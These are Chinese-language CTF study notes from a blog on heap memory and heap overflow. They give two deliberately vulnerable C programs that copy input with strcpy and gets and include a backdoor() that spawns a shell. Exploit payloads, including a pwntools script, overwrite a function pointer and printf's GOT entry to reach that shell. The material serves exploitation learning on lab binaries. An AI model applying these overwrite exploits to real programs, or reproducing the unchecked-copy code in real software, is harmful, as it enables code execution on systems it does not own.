什么是堆
堆是可以根据运行时的需要进行动态分配和释放的内存,大小可变 由程序员决定
malloc new\free delete
栈用于函数分配固定大小的局部内存 由程序决定
但是为什么不都在栈上进行函数调用,反而要去对上进行调用
堆的实现重点关注内存块的组织和管理方式,尤其是空闲内置块:(分地)
如何提高分配和释放效率
如何降低碎片化,提高空间利用率
堆溢出栈溢出原理相同,发生在缓冲区上
一个发生在堆上,一个发生在栈上
heap0_fd
#include <stdlib.h> #include <unistd.h> #include <string.h> #include <stdio.h> #include <sys/types.h> struct data{ //声明了data,fp两个struct char name[64]; }; struct fp{ int (*fp)(); }; void backdoor(){ //获取shell system("/bin/sh"); } void info(){ printf("this is easy heap0!!!"); } int main(int args , char **argv){ struct data *d; //定义了两个struct指针 struct fp *f; d = malloc(sizeof(struct data)); //为struct在堆上分配的地址 f = malloc(sizeof(struct fp)); f -> fp = info; // 把info函数名给fp printf("data is at %p,fp is at %p\n",d,f); //打印data和fp的内存地址 strcpy(d->name,argv[1]); //把用户终端输入的值赋给name 在name空间造成溢出
//或者用 gets(d->name);
f->fp(); //再执行fp()即info() }
我们的目标明显就是修改程序的执行流,执行到backdoor
./heap0 AAAA 运行程序,x/64wx data_addr 可以看到此时堆上内存为
data__64 | *fp | |||
---|---|---|---|---|
AAAA | &info |
而data并没有限制输入长度,所以当我们输入过长的payload时,就会造成溢出到fp指针出,而fp中存储的是下一个执行函数的地址,那么如果我们将该地址覆盖,就能控制程序的执行流
payload = b'a'*80 + p64(elf.sym['backdoor'])
首先是结构体在堆内的存储方式,指针的作用,堆上分配的内存大小
heap1_struct
了解堆上的数据管理
a = malloc(16)
b = malloc(24)
c = malloc(10)
d = malloc(16)
heap上分配的地址不连续
a_16 | b_24 | c_10 | d_16 | ||||||
---|---|---|---|---|---|---|---|---|---|
a_16_addr 我们得到的地址是 具有数据存储的内存块的起始地址,而不是空块的地址
#include <stdlib.h> #include <unistd.h> #include <string.h> #include <stdio.h> #include <sys/types.h> struct internet{ int priority; char *name; }; void backdoor(){ system("/bin/sh"); } int main(){ struct internet *i1,*i2,*i3; i1 = malloc(sizeof(struct internet)); i1->priority = 1; i1->name=malloc(8); i2 = malloc(sizeof(struct internet)); i2 -> priority = 2; i2 -> name = malloc(8); gets(i1->name); gets(i2->name); printf("usr1's name is %s ,id is %d\n",i1->name,i1->priority); printf("usr2's name is %s ,id is %d\n",i2->name,i2->priority); }
internet结构体
usr1 | 8 | i1->name | usr2 | 8 | i2->name | ||||||
---|---|---|---|---|---|---|---|---|---|---|---|
priority_int | *name | priority_int | *name | ||||||||
aaaa | aaaa | aaaa | aaaa | aaaa | printf_got | backdoor_addr |
堆上创建的结构体如上图所示
修改printf的got表
指针的危险性
from pwn import * pwnfile = './heap1' elf = ELF(pwnfile) io = process(pwnfile) backdoor = elf.sym['backdoor'] printf_got = elf.got['printf'] #gdb.attach(io) #pause() payload = b'a'*40 + p64(printf_got) io.sendline(payload) payload = p64(backdoor) io.sendline(payload) io.interactive()
标签:fp,malloc,struct,day1,CTF,printf,pwn,include,name From: https://www.cnblogs.com/37blog/p/17808141.html